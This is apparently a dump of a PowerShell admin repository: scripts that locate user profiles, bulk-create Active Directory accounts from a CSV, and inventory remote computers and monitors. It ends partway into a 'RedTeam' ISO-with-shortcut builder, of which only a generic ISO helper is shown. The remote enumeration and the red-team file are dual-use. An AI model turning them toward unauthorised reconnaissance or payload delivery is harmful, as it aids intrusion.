| #Get the user's SID because the Win32_UserProfile Class (for $RemoteProfile) has no Name property 120 | # -Filter is faster than piping to Where-Object; Double-double quotes needed to quote the variable properly 121 | $SID = (Get-CimInstance -ClassName Win32_UserAccount @CimParameters -Filter "Name = ""$User""").SID 122 | 123 | #This method was used since we cannot assume the user's home folder is in C:\Users\ 124 | $RemoteProfile = (Get-CimInstance -ClassName Win32_UserProfile @CimParameters -Filter "SID = ""$SID""") 125 | 126 | #The results will be stored in a custom object with these four properties 127 | $UserProfile = [PSCustomObject]::new(@{ 128 | User = $User 129 | ComputerName = $Computer 130 | UserHome = $RemoteProfile.LocalPath 131 | LastUseTime = $RemoteProfile.LastUseTime 132 | }) 133 | 134 | #If the User's home directory exists, then the user has signed in 135 | if ( $UserProfile.UserHome ) 136 | { 137 | #Writes the results to a CSV file 138 | $UserProfile | Select-Object User, ComputerName, UserHome, LastUseTime | 139 | Export-Csv -Path $CsvFile -Append -NoTypeInformation 140 | 141 | #For each computer where a profile is found, increment ComputerCount 142 | $ComputerCount ++ 143 | } 144 | 145 | #Close the remote CimSession if created 146 | if ($RemoteSession) 147 | { 148 | Remove-CimSession $RemoteSession 149 | } 150 | } 151 | 152 | if ( $ComputerCount -gt 0 ) 153 | { 154 | Write-Host "`nUser profile $User was found on $ComputerCount computers.`n" -ForegroundColor Green 155 | } 156 | else 157 | { 158 | Write-Host "`nUser profile $User was not found.`n" -ForegroundColor Red 159 | } 160 | } 161 | } 162 | 163 | End 164 | { 165 | #Read results from the CSV file and print to the screen 166 | $output = Import-Csv -Path $CsvFile 167 | Write-Output $output 168 | } 169 | -------------------------------------------------------------------------------- /Create-ADUserFromCsv.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Creates users in Active Directory from a .csv file 4 | .Description 5 | Batch creates users in Active Directory from a .csv file. 6 | A properly formatted .csv file contains the following fields: 7 | 8 | LastName,Firstame,MiddleInitial,Rank,SAMAccountName,EmailAddress,Unit,Section,Position,Password,Groups 9 | 10 | Groups listed must be separated by a semicolon (;) e.g. Burn Rights;PowerShell Users;System Administrator 11 | 12 | Fills in the following fields in Active Directory: 13 | 14 | AccountExpirationDate,Enabled,EmailAddress,Name,DisplayName,UserPrincipalName,SamAccountName,GivenName,Surname,Path 15 | 16 | Author: Beery, Christopher (https://github.com/zweilosec) 17 | Created: 18 Nov 2021 18 | Last modified: 19 Nov 2021 19 | #> 20 | 21 | #region pre-check functions 22 | 23 | function Test-Administrator() 24 | { 25 | $identity= [Security.Principal.WindowsIdentity]::GetCurrent() 26 | $principal = New-Object Security.Principal.WindowsPrincipal($identity) 27 | if($principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator )) 28 | { 29 | return $true 30 | } 31 | else 32 | { 33 | return $false 34 | } 35 | } 36 | 37 | function PreCheck() 38 | { 39 | Write-Host "Checking Powershell Script Prerequisites...." -ForegroundColor Green 40 | Write-Host 41 | 42 | if($PSVersionTable.PSVersion -lt "5.0.0.0") 43 | { 44 | $ver = $PSVersionTable.PSVersion 45 | Write-Host "Powershell version check: Fail" -ForegroundColor Yellow 46 | Write-Host 47 | Write-Host "WARNING: THE VERSION OF POWERSHELL RUNNING ON THIS SYSTEM ($ver) IS NOT COMPATIBLE WITH THIS SCRIPT." -ForegroundColor red 48 | Write-Host "Please see https://www.microsoft.com/en-us/download/details.aspx?id=50395 to download Microsoft Management Framework 5 which includes Powershell Version 5." -ForegroundColor Yellow 49 | Write-Host 50 | Throw "Exiting pre-checks with error code 1 (PowerShell version >5 not detected.)." 51 | #Read-Host -Prompt "Press Ctrl-C to continue. ([Enter] will close the window!)" 52 | #Exit 53 | } 54 | else {Write-Host "Powershell Version 5 or higher: Good" -ForegroundColor Green} 55 | 56 | if(Get-Module -ListAvailable -Name ActiveDirectory){Write-Host "Powershell Active Directory Module: Installed" -ForegroundColor Green} 57 | else 58 | { 59 | Write-Host "Powershell Active Directory Module: Not Installed" -ForegroundColor Yellow 60 | Write-Host 61 | Write-Host "WARNING: THE POWERSHELL ACTIVE DIRECTORY MODULE IS NOT INSTALLED ON THIS SYSTEM. THIS SCRIPT WILL NOT FUNCTION CORRECTLY WITHOUT THIS MODULE." -ForegroundColor Red 62 | Write-Host "Please see https://technet.microsoft.com/en-us/library/dd378937 for how to install the Active Directory Module for Powershell." -ForegroundColor Yellow 63 | Write-Host 64 | Throw "Exiting pre-checks with error code 2 (ActiveDirectory module not installed)." 65 | #Read-Host -Prompt "Press Ctrl-C to continue. ([Enter] will close the window!)" 66 | #Exit 67 | } 68 | 69 | if(Test-Administrator -eq $true){Write-Host "Checking for Administrator Privileges: Good" -ForegroundColor Green} 70 | else 71 | { 72 | Write-Host "Administrator privilege check: Fail" -ForegroundColor Yellow 73 | Write-Host 74 | Write-Host "WARNING: THIS SCRIPT IS NOT BEING RUN AS AN ADMINISTRATOR. THIS SCRIPT WILL NOT FUNCTION WITHOUT ADMINISTRATIVE PRIVILEGES." -ForegroundColor Red 75 | Write-Host "The script will now exit. Please re-run as an administrator." -ForegroundColor Yellow 76 | Write-Host 77 | Throw "Exiting pre-checks with error code 3 (Script run without Administrator rights)." 78 | #Read-Host -Prompt "Press Ctrl-C to continue. ([Enter] will close the window!)" 79 | #Exit 80 | } 81 | } 82 | 83 | PreCheck 84 | Write-Host "Pre-checks complete." -ForegroundColor Green 85 | Write-Host 86 | 87 | #endregion pre-check functions 88 | 89 | Import-Module ActiveDirectory 90 | 91 | #region User-defined variables 92 | 93 | #OU path in Active Directory. Specify the target OU. Format: OU=Users,DC=domain,DC=local 94 | Write-Host "Enter the target OU (Example: OU=Users,DC=domain,DC=local)" -ForegroundColor Yellow 95 | $OU = Read-Host "OU" 96 | 97 | #Folder to start file selector in. currently set to the user's Desktop. Modify if needed. 98 | $ImportPath = 'C:' + $env:HOMEPATH + '\' + 'Desktop' 99 | 100 | #Filters files to only show ".csv", ".txt", or all files. Change this as needed. 101 | #Format is, with each selection separated by a pipe (|): DescriptionToShow|Filetype;Filetype 102 | $fileFilter = "CSV (*.csv,*.txt)| *.csv;*.txt|Text Files (*.txt)|*.txt|All files (*.*)|*.*" 103 | 104 | #endregion User-defined variables 105 | 106 | Write-Host 107 | Write-Host "This script creates users in Active Directory from a properly formatted .csv file." -ForegroundColor Yellow 108 | Write-Host "Proper formatting is as below:" -ForegroundColor DarkYellow 109 | Write-Host 110 | Write-Host "LastName,Firstame,MiddleInitial,Rank,SAMAccountName,EmailAddress,Unit,Section,Position,Password,Groups" -ForegroundColor Green 111 | Write-Host 112 | Write-Host "Groups listed must be separated by a semicolon (;) e.g. Burn Rights;PowerShell Users;System Administrator" -ForegroundColor DarkGreen 113 | Write-Host 114 | Write-Host "Select the properly formatted .csv file you would like to create users from:" -ForegroundColor Yellow 115 | 116 | #region Display Explorer window to select a .csv file 117 | 118 | function Select-FileWithDialog 119 | { 120 | #Starts the folder selector in the specified folder 121 | param([string]$Description="Select Folder",[string]$RootFolder=$ImportPath) 122 | 123 | [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null 124 | 125 | $objForm = New-Object System.Windows.Forms.OpenFileDialog 126 | $objForm.InitialDirectory = $RootFolder 127 | 128 | #Filters files to only show files based on the variable set above. 129 | $objForm.filter = $fileFilter 130 | 131 | $objForm.ShowDialog() | Out-Null 132 | $objForm.FileName 133 | } 134 | 135 | #This variable contains the user's file selection 136 | $file = Select-FileWithDialog 137 | 138 | #endregion Display Explorer window to select a .csv file 139 | 140 | #Import the lines in the .csv file into an array. Set the delimiter and encoding as needed. 141 | $Users = Import-Csv -Delimiter ';' -Path $file -Encoding UTF8 142 | 143 | #region Import users into Active Directory 144 | foreach ($User in $Users) 145 | { 146 | #These fields must exist in the CSV, with headers. 147 | $SAMAccountName = $User.SAMAccountName 148 | $Lastame = $User.LastName 149 | $FirstName = $User.FirstName 150 | $DisplayName = $user.LastName + ", " + $User.FirstName + " " + $User.Rank + " " + $user.Unit + "/" + $user.Section + " - " + $user.Position 151 | $email = $User.EmailAddress 152 | $password = $User.Password 153 | [array]$groups=$User.Groups -split ';' 154 | 155 | #Not sure what this script argument is for, or if it is needed. Commenting out to see what happens. 156 | #$script = $SAMAccountName + '.bat' 157 | 158 | #Variables that may be useful for some. The "description" field would need to be added to the CSV and "New-ADUser" line below as needed 159 | <# 160 | $upn = $User.FirstName + "." + $User.LastName + "@" + $domain 161 | $Description = $User.$Description 162 | $SAMAccountName = $User.FirstName + "." + $User.LastName 163 | #> 164 | 165 | $Name = $GivenName + ' ' + $Surname.ToUpper() 166 | $upn = ($SAMAccountName + '@' + $env:USERDNSDOMAIN).ToLower() 167 | 168 | #Create user in Active Directory with the following properties 169 | Write-Host "Creating account: $SAMAccountName" -ForegroundColor Green 170 | New-ADUser -AccountExpirationDate $null -Enabled $true -EmailAddress $email -Name $Name -DisplayName $DisplayName -UserPrincipalName $upn -SamAccountName $SAMAccountName -GivenName $FirstName -Surname $LastName -Path $OU -ChangePasswordAtLogon $true -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) #-ScriptPath $script 171 | 172 | #Add the new user to the groups listed in the Groups field 173 | foreach ($group in $groups) 174 | { 175 | Write-Host "Adding $SAMAccountName to the $group group." -ForegroundColor DarkGreen 176 | Add-ADGroupMember -Identity $group -Member $SAMAccountName 177 | } 178 | } 179 | 180 | Write-Host "User import complete." -ForegroundColor Yellow 181 | 182 | #endregion Import users into Active Directory 183 | 184 | #region Show MessageBox to confirm action 185 | 186 | [Windows.Forms.MessageBox]::Show("User import complete.","System Dialog", 0, [Windows.Forms.MessageBoxIcon]::Information) 187 | 188 | #endregion Show MessageBox to confirm action 189 | -------------------------------------------------------------------------------- /Get-MonitorInventory.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Script for gathering inventory information about the monitors attached to networked computers. 4 | .DESCRIPTION 5 | This script takes in a list of computer names, and for each computer retrieves a list of monitors. 6 | If this value is not specified it pulls the monitors of the computer that the script is being run on. 7 | It gathers SerialNumber, Manufacturer, and Model for each monitor saves it to a CSV file. 8 | .PARAMETER ComputerName 9 | Use this to specify the computer(s) which you'd like to retrieve information about monitors from. 10 | .EXAMPLE 11 | PS C:/> Get-Monitor.ps1 -ComputerName TestName 12 | 13 | Manufacturer Model SerialNumber AttachedComputer 14 | ------------ ----- ------------ ---------------- 15 | HP HP Zbook 17 G5 8675309 TestName 16 | HP HP Zbook 17 G5 8675309 TestName 17 | HP HP Zbook 17 G5 8675309 TestName 18 | .EXAMPLE 19 | PS C:/> $Computers = @("TestName1","TestName2","TestName3") 20 | PS C:/> Get-Monitor.ps1 -ComputerName $Computers 21 | 22 | Manufacturer Model SerialNumber AttachedComputer 23 | ------------ ----- ------------ ---------------- 24 | HP HP Zbook 17 G5 8675310 TestName1 25 | HP HP Zbook 17 G5 8675310 TestName1 26 | HP HP Zbook 17 G5 8675311 TestName2 27 | HP HP Zbook 17 G5 8675311 TestName2 28 | HP HP Zbook 17 G5 8675312 TestName3 29 | .INPUTS 30 | -ComputerName 31 | Input a list of computer names, either individually, as an object, or '/n' separated file. 32 | .OUTPUTS 33 | Outputs a CSV with headers. Naming convention for output files is "./MonitorInfo_yyyymmdd_HHMM.csv". 34 | .FUNCTIONALITY 35 | Computer monitor inventory enumeration tool 36 | .NOTES 37 | Authors: Beery, Christopher (https://github.com/zweilosec) & Winchester, Cassius (https://github.com/cassiuswinchester) 38 | Created: 6 Mar 2020 39 | Last Modified: 24 Jan 2022 40 | #> 41 | 42 | [CmdletBinding()] 43 | Param 44 | ( 45 | [Parameter(ValueFromPipeline=$True, 46 | ValueFromPipelineByPropertyName=$True)] 47 | [String[]] 48 | $ComputerName = $env:ComputerName, 49 | 50 | [Alias('NoWinRM')] 51 | [Switch] 52 | $DCOM = $false 53 | ) 54 | 55 | Begin 56 | { 57 | #List of Manufacture Codes that could be pulled from WMI and their respective full names. Used for readable output. 58 | #Get updated list here: https://www.lansweeper.com/knowledgebase/list-of-3-letter-monitor-manufacturer-codes/ 59 | $ManufacturerHash = @{ 60 | "AAC" = "AcerView"; 61 | "ACR" = "Acer"; 62 | "AOC" = "AOC"; 63 | "AIC" = "AG Neovo"; 64 | "APP" = "Apple Computer"; 65 | "AST" = "AST Research"; 66 | "AUO" = "Asus"; 67 | "BNQ" = "BenQ"; 68 | "CMO" = "Acer"; 69 | "CPL" = "Compal"; 70 | "CPQ" = "Compaq"; 71 | "CPT" = "Chunghwa Pciture Tubes, Ltd."; 72 | "CTX" = "CTX"; 73 | "DEC" = "DEC"; 74 | "DEL" = "Dell"; 75 | "DPC" = "Delta"; 76 | "DWE" = "Daewoo"; 77 | "EIZ" = "EIZO"; 78 | "ELS" = "ELSA"; 79 | "ENC" = "EIZO"; 80 | "EPI" = "Envision"; 81 | "FCM" = "Funai"; 82 | "FUJ" = "Fujitsu"; 83 | "FUS" = "Fujitsu-Siemens"; 84 | "GSM" = "LG Electronics"; 85 | "GWY" = "Gateway 2000"; 86 | "HEI" = "Hyundai"; 87 | "HIT" = "Hyundai"; 88 | "HSL" = "Hansol"; 89 | "HTC" = "Hitachi/Nissei"; 90 | "HWP" = "HP"; 91 | "IBM" = "IBM"; 92 | "ICL" = "Fujitsu ICL"; 93 | "IVM" = "Iiyama"; 94 | "KDS" = "Korea Data Systems"; 95 | "LEN" = "Lenovo"; 96 | "LGD" = "Asus"; 97 | "LPL" = "Fujitsu"; 98 | "MAX" = "Belinea"; 99 | "MEI" = "Panasonic"; 100 | "MEL" = "Mitsubishi Electronics"; 101 | "MS_" = "Panasonic"; 102 | "NAN" = "Nanao"; 103 | "NEC" = "NEC"; 104 | "NOK" = "Nokia Data"; 105 | "NVD" = "Fujitsu"; 106 | "OPT" = "Optoma"; 107 | "PHL" = "Philips"; 108 | "REL" = "Relisys"; 109 | "SAN" = "Samsung"; 110 | "SAM" = "Samsung"; 111 | "SBI" = "Smarttech"; 112 | "SGI" = "SGI"; 113 | "SNY" = "Sony"; 114 | "SRC" = "Shamrock"; 115 | "SUN" = "Sun Microsystems"; 116 | "SEC" = "Hewlett-Packard"; 117 | "TAT" = "Tatung"; 118 | "TOS" = "Toshiba"; 119 | "TSB" = "Toshiba"; 120 | "VSC" = "ViewSonic"; 121 | "ZCM" = "Zenith"; 122 | "UNK" = "Unknown"; 123 | "_YV" = "Fujitsu"; 124 | } 125 | 126 | #Log file to write data in CSV format 127 | $CSVLogFile = "./MonitorInventory_$(Get-Date -Format yyyyMMdd_HHmm).csv" 128 | } 129 | 130 | Process 131 | { 132 | #Take each computer specified and run the following code: 133 | ForEach ($Computer in $ComputerName) 134 | { 135 | #Parameter list that will be fed to Get-CimInstance 136 | $CimParameters = @{} 137 | #Hack to get around setting $Computer to $null if scanning localhost 138 | $RemoteComputer = $Computer 139 | 140 | #First, check if we are scanning the local machine 141 | #Setting the -ComputerName property of Get-CIMInstance to $null will allow you 142 | # to scan a local machine without WinRM enabled 143 | if ( $Computer -eq $($env:COMPUTERNAME) ) 144 | { 145 | $RemoteComputer = $null 146 | } 147 | 148 | #If the user wants to use DCOM instead of WinRM, enable this 149 | #Do not use this branch if scanning local computer because will cause errors and not needed 150 | if ( $DCOM -and $RemoteComputer ) 151 | { 152 | $SessionOption = New-CimSessionOption -Protocol Dcom 153 | #Create the remote CIM session and add to CimParameters 154 | $RemoteSession = New-CimSession -ComputerName $RemoteComputer -SessionOption $SessionOption 155 | $CimParameters = @{CimSession = $RemoteSession} 156 | } 157 | else 158 | { 159 | $CimParameters = @{ComputerName = $RemoteComputer} 160 | } 161 | #Get the Monitor objects from WMI for each remote computer 162 | $Monitors = Get-CimInstance -Namespace "root\WMI" -Class "WMIMonitorID" @CimParameters 163 | 164 | #An empty array to hold the monitor data 165 | $Monitor_Array = @() 166 | 167 | #Take each monitor object found and pull the required properties: 168 | ForEach ($Monitor in $Monitors) 169 | { 170 | #Gets each monitors properties and converts them to ASCII encoding and removes any trailing null values 171 | If ($null -ne [System.Text.Encoding]::ASCII.GetString($Monitor.UserFriendlyName)) 172 | { 173 | $Mon_Model = ([System.Text.Encoding]::ASCII.GetString($Monitor.UserFriendlyName)).Replace("$([char]0x0000)","") 174 | } 175 | else 176 | { 177 | $Mon_Model = $null 178 | } 179 | $Mon_Serial_Number = ([System.Text.Encoding]::ASCII.GetString($Monitor.SerialNumberID)).Replace("$([char]0x0000)","") 180 | $Mon_Manufacturer = ([System.Text.Encoding]::ASCII.GetString($Monitor.ManufacturerName)).Replace("$([char]0x0000)","") 181 | 182 | <# 183 | Filter out "non monitors" such as laptop displays. Place any of your own filters here as needed. 184 | Below examples are all-in-one computers with built in displays that we didn't need the info from. 185 | Remove '#' from the code below to use this filter. 186 | #> 187 | # If ($Mon_Model -like "*800 AIO*" -or $Mon_Model -like "*8300 AiO*") {Break} 188 | 189 | #Set a friendly name based on the hash table above. If no entry found leaves it set to the original 3 character code. 190 | $Mon_Manufacturer_Friendly = $ManufacturerHash.$Mon_Manufacturer 191 | If ($null -eq $Mon_Manufacturer_Friendly) 192 | { 193 | $Mon_Manufacturer_Friendly = $Mon_Manufacturer 194 | } 195 | 196 | #Create a custom monitor object and fill it with the needed four properties with the data pulled from WMI. 197 | $Monitor_Obj = [PSCustomObject]::new(@{ 198 | Manufacturer = $Mon_Manufacturer_Friendly 199 | Model = $Mon_Model 200 | SerialNumber = $Mon_Serial_Number 201 | Computer = $Computer 202 | }) 203 | 204 | #Append the object to the array 205 | $Monitor_Array += $Monitor_Obj 206 | 207 | } #End ForEach $Monitor 208 | 209 | #Output to CSV 210 | $Monitor_Array | Select-Object Computer,SerialNumber,Manufacturer,Model | 211 | Export-Csv -Append $CSVLogFile -NoTypeInformation 212 | 213 | } #End ForEach $Computer 214 | } 215 | 216 | End 217 | { 218 | $output = Import-Csv -Path $CSVLogFile 219 | Write-Output $output 220 | } 221 | -------------------------------------------------------------------------------- /Get-ComputerInventoryToCSV.ps1: -------------------------------------------------------------------------------- 1 | Function Get-Inventory 2 | { 3 | <# 4 | .Synopsis 5 | Script for gathering computer inventory information. 6 | .DESCRIPTION 7 | Script for gathering ComputerName, Serial Number, Current User, Manufacturer, Model, MAC Address, Compliance Status, and IP Address from a list of computers. 8 | An optional Microsoft patch KB name can be specified to check for update compliance. 9 | Requires the WinRM service to be running on each remote computer, however works locally without. 10 | To scan a remote machine without WinRM, use the -DCOM flag. 11 | .EXAMPLE 12 | Get-ComputerInventoryToCSV.ps1 -ComputerName Example-Comp1 -ComplianceKB KB4534276 -Verbose 13 | .EXAMPLE 14 | Get-ComputerInventoryToCSV.ps1 .\Computers.txt 15 | .EXAMPLE 16 | Get-ADComputer -Filter * -SearchBase "OU=TestOU,DC=TestDomain,DC=com" | Select -Property Name | Get-ComputerInventoryToCSV.ps1 17 | .INPUTS 18 | -ComputerName 19 | Input a list of computer names, either piped in as an object or a text file file with one computer name per line. 20 | -ComplianceKB 21 | Input a single Microsoft KB number related to the specific patch you want to check compliance for. 22 | .OUTPUTS 23 | This script exports a text file in column format, and as a CSV with headers. 24 | Format for output files is below: 25 | 26 | "./ComputerInfo_yyyymmdd_HHMM.csv" 27 | 28 | Computer_Name,Serial_Number,Current_User,Manufacturer,Model,MAC_Address,Compliance_Status,IP_Address 29 | Example-Comp1,2TK45784PJ,DOMAIN\jane.doe,HP,HP ProBook 650 G2,DE:AD:BE:EF:B5:BF,Patch KB4534276 Compliant,10.10.10.01 30 | Example-comp2,2TK34684GQ,DOMAIN\john.doe,HP,HP ProBook 650 G2,DE:AD:BE:AF:00:70,Patch KB4534276 Compliant,10.10.10.02 31 | "./ComputerInfo_yyyymmdd_HHMM.txt" 32 | [ ] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ ] 33 | Realtek Gaming 2.5GbE Family Controller : 10.10.10.3 34 | 1 IP addresses found on this system 35 | [+] Example-Comp3 | 2TK43856ZP | DOMAIN\jose.gonzalez | Hewlett-Packard | HP ProDesk 600 G1 36 | [ ] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ ] 37 | Realtek Gaming 2.5GbE Family Controller : 10.10.10.4 38 | 1 IP addresses found on this system 39 | [+] Example-Comp4 | 2TK82744ZH | DOMAIN\bob.barker | HP | HP ProBook 650 G4 40 | .NOTES 41 | Authors: Beery, Christopher (https://github.com/zweilosec) & Winchester, Cassius (https://github.com/cassiuswinchester) 42 | Created: 6 Mar 2020 43 | Last Modified: 27 Jul 2022 44 | .FUNCTIONALITY 45 | Computer inventory enumeration tool 46 | #> 47 | 48 | #Enable -Verbose output, piping of input from other comdlets, and more 49 | [CmdletBinding()] 50 | #List of input parameters 51 | Param 52 | ( 53 | #List of ComputerNames to process 54 | [Parameter(ValueFromPipeline=$true, 55 | ValueFromPipelineByPropertyName=$true)] 56 | [ValidateNotNullOrEmpty()] 57 | [alias('Name')] #Allows for piping in of computers by name from Active Directory (Get-ADComputer) 58 | [string[]] 59 | $ComputerName = $env:COMPUTERNAME, 60 | 61 | #Specific patch to check for compliance. Use Microsoft's KB number. 62 | #Default is "None Specified" 63 | [string] 64 | $ComplianceKB = "None Specified", 65 | 66 | [Switch] 67 | $DCOM = $false 68 | ) 69 | 70 | #Check to make sure the user specified a ComputerName to scan, then print usage if not 71 | #This check could be obviated if a default value of "$env:COMPUTERNAME" is used for $ComputerName above 72 | Begin { 73 | If (!$ComputerName) 74 | { 75 | Write-Host -ForegroundColor Yellow "Please specify a computername or an input file with a list of computer names to search for." 76 | "Syntax: {0} -ComputerName " -f $MyInvocation.MyCommand.Name # $MyInvocation.MyCommand.Name is used to get the script's filename as run, in case it is renamed 77 | Write-Host "Try Get-Help {0} for more detailed help." -f $MyInvocation.MyCommand.Name 78 | Write-Host -ForegroundColor Yellow "Requires WinRM service to be running!" 79 | Break 80 | } 81 | 82 | $CSVLogFile = "./ComputerInventory_$(Get-Date -Format yyyyMMdd_HHmm).csv" 83 | $TXTLogFile = "./ComputerInventory_$(Get-Date -Format yyyyMMdd_HHmm).txt" 84 | [int]$ComputerCount = 0 85 | #Set the color of the -Verbose output messages 86 | $host.PrivateData.VerboseForegroundColor = "Cyan" 87 | } 88 | 89 | Process { 90 | Write-Verbose "Getting Serial Number, Current User, Manufacturer, Model, MAC Address, Compliance Status, and IP_Address for each ComputerName" 91 | 92 | foreach ($Computer in $ComputerName) 93 | { 94 | Write-Verbose "Testing if $Computer is online..." 95 | 96 | If (Test-Connection -ComputerName $Computer -Count 2 -Quiet) 97 | { 98 | 99 | Write-Verbose "[+] $Computer is online." 100 | #Add 1 to number of computers scanned 101 | $ComputerCount ++ 102 | 103 | Write-Verbose "Beginning scan of $Computer" 104 | 105 | #Parameter list that will be fed to Get-CimInstance 106 | $CimParameters = @{} 107 | #Hack to get around setting $Computer to $null if scanning localhost 108 | $RemoteComputer = $Computer 109 | 110 | #First, check if we are scanning the local machine 111 | #Setting the -ComputerName property of Get-CIMInstance to $null will allow you 112 | # to scan a local machine without WinRM enabled 113 | if ( $Computer -eq $($env:COMPUTERNAME) ) 114 | { 115 | $RemoteComputer = $null 116 | } 117 | 118 | #If the user wants to use DCOM instead of WinRM, enable this 119 | #Do not use this branch if scanning local computer because will cause errors and not needed 120 | if ( $DCOM -and $RemoteComputer ) 121 | { 122 | $SessionOption = New-CimSessionOption -Protocol Dcom 123 | #Create the remote CIM session and add to CimParameters 124 | $RemoteSession = New-CimSession -ComputerName $RemoteComputer -SessionOption $SessionOption 125 | $CimParameters = @{CimSession = $RemoteSession} 126 | } 127 | else 128 | { 129 | $CimParameters = @{ComputerName = $RemoteComputer} 130 | } 131 | 132 | #Get Serial Number 133 | $Serial = Get-CimInstance -Class Win32_BIOS @CimParameters | 134 | Select-Object -ExpandProperty SerialNumber 135 | 136 | #Get Current or last logged in username 137 | $CurrentUser = Get-CimInstance -Class Win32_ComputerSystem @CimParameters -Property UserName | 138 | Select-Object -ExpandProperty UserName 139 | 140 | #Get list of network adapters 141 | $IPConfigSet = Get-CimInstance -Class Win32_NetworkAdapterConfiguration @CimParameters -Filter "IPEnabled='True'" 142 | 143 | #Get Model of the PC 144 | $Model = Get-CimInstance -Class Win32_ComputerSystem @CimParameters -Property Model | 145 | Select-Object -ExpandProperty Model 146 | 147 | #Get Manufacturer of the PC 148 | $Manufacturer = Get-CimInstance -Class Win32_ComputerSystem @CimParameters -Property Manufacturer | 149 | Select-Object -ExpandProperty Manufacturer 150 | 151 | #Get MAC address of the PC 152 | #This may need to be looked at further if using additional adapters; returns all MAC addresses, even virtual, but I'm only printing the first one in the output below 153 | #This was created and tested in an Ethernet-only environment. If you use this in an environment where you have multiple adapters you need to track you may 154 | #need to modify the properties of the object below and change or remove the array selection 155 | $MACAddress = $IPConfigSet.MACAddress 156 | 157 | #Check if user specified a patch to check for 158 | if ($ComplianceKB -ne "None Specified") 159 | { 160 | #Check if the specified patch has been installed 161 | $Compliance = if (Get-HotFix -Id "$ComplianceKB" -ComputerName $Computer -ErrorAction SilentlyContinue) 162 | { 163 | Write-Output "Patch $ComplianceKB Compliant" | Tee-Object -Append $TXTLogFile 164 | } 165 | else 166 | { 167 | Write-Output "Patch $ComplianceKB Non-compliant" | Tee-Object -Append $TXTLogFile 168 | } 169 | } 170 | else 171 | { 172 | $Compliance = "None Specified" 173 | } 174 | 175 | Write-Output "`tAdapter Information for $($Computer):" | Tee-Object -Append $TXTLogFile 176 | Write-Output "`t------------------------------------" | Tee-Object -Append $TXTLogFile 177 | 178 | [String[]]$IP = @() 179 | # Iterate and get IP addresses for each network interface 180 | $count = 0 181 | foreach ($IPConfig in $IPConfigSet) 182 | { 183 | if ($IPConfig.IPAddress) 184 | { 185 | $AdapterName = $IPConfig.Description 186 | foreach ($address in $IPConfig.IPAddress) 187 | { 188 | Write-Output "`t$AdapterName : $address" | Tee-Object -Append $TXTLogFile 189 | $IP += $address 190 | $count++ 191 | } 192 | } 193 | } 194 | 195 | #Write how many IP addresses were found 196 | if ($count -eq 0) 197 | { 198 | Write-Output "`tNo IP addresses found.`n" | Tee-Object -Append $TXTLogFile 199 | } 200 | else 201 | { 202 | Write-Output "`t$Count IP addresses found on this system.`n" | Tee-Object -Append $TXTLogFile 203 | } 204 | 205 | Write-Verbose "Scan of $Computer complete." 206 | 207 | #Create a new generic object, assigning the variables from above as object Properties 208 | #This is needed to output to CSV with headers 209 | [PSCustomObject]@{ 210 | Computer_Name = $Computer 211 | Serial_Number = $Serial 212 | Current_User = $CurrentUser 213 | Manufacturer = $Manufacturer 214 | Model = $Model 215 | MAC_Address = $MACAddress #Select only the first interface (Usually built-in Ethernet) 216 | Compliance_Status = $Compliance 217 | IP_Address = $IP[0] #Select only the first interface (Usually built-in Ethernet) 218 | } | 219 | #Select the properties of the (unnamed) PSCustomObject and write to the CSV file. 220 | Select-Object Computer_Name,Serial_Number,Current_User,Manufacturer,Model,MAC_Address,Compliance_Status,IP_Address | 221 | Export-Csv -Append $CSVLogFile -NoTypeInformation 222 | 223 | #Write the output to the console and text log in the following format 224 | Write-Output "[ ] ComputerName | Serial | CurrentUser | Manufacturer | Model | MACAddress | Compliance Checks | IP [ ]" | Tee-Object -Append $TXTLogFile 225 | Write-Output "[ ] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ ]" | Tee-Object -Append $TXTLogFile 226 | Write-Output "[+] $Computer | $Serial | $CurrentUser | $Manufacturer | $Model | $MACAddress | $Compliance | $($IP[0])" | Tee-Object -Append $TXTLogFile 227 | } 228 | 229 | #If unable to ping the computer this will be written to console and text log instead 230 | Else 231 | { 232 | Write-Output "[x] Failed to ping $Computer." | Tee-Object -Append $TXTLogFile 233 | } 234 | 235 | } 236 | 237 | } 238 | 239 | End 240 | { 241 | Write-Verbose "Scan complete." 242 | Write-Verbose "$ComputerCount computers were scanned." 243 | Write-Verbose "$CSVLogFile and $TXTLogFile files created." 244 | } 245 | } 246 | -------------------------------------------------------------------------------- /RedTeam/Create-IsoWithLnk.ps1: -------------------------------------------------------------------------------- 1 | #region functions 2 | 3 | function New-IsoFile 4 | { 5 | <# 6 | .Synopsis 7 | Creates a new .iso file 8 | .Description 9 | The New-IsoFile cmdlet creates a new .iso file containing content from chosen folders 10 | .Example 11 | New-IsoFile "c:\tools","c:Downloads\utils" 12 | This command creates a .iso file in $env:temp folder (default location) that contains c:\tools and c:\downloads\utils folders. The folders themselves are included at the root of the .iso image. 13 | .Example 14 | New-IsoFile -FromClipboard -Verbose 15 | Before running this command, select and copy (Ctrl-C) files/folders in Explorer first. 16 | .Example 17 | dir c:\WinPE | New-IsoFile -Path c:\temp\WinPE.iso -BootFile "${env:ProgramFiles(x86)}\Windows Kits\10\Assessment and Deployment Kit\Deployment Tools\amd64\Oscdimg\efisys.bin" -Media DVDPLUSR -Title "WinPE" 18 | This command creates a bootable .iso file containing the content from c:\WinPE folder, but the folder itself isn't included. Boot file etfsboot.com can be found in Windows ADK. Refer to IMAPI_MEDIA_PHYSICAL_TYPE enumeration for possible media types: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366217(v=vs.85).aspx 19 | .Notes 20 | NAME: New-IsoFile 21 | AUTHOR: Chris Wu 22 | LASTEDIT: 03/23/2016 14:46:50 23 | #> 24 | 25 | [CmdletBinding(DefaultParameterSetName='Source')]Param( 26 | [parameter(Position=1,Mandatory=$true,ValueFromPipeline=$true, ParameterSetName='Source')]$Source, 27 | [parameter(Position=2)][string]$Path = "$Title.iso", 28 | [ValidateScript({Test-Path -LiteralPath $_ -PathType Leaf})][string]$BootFile = $null, 29 | 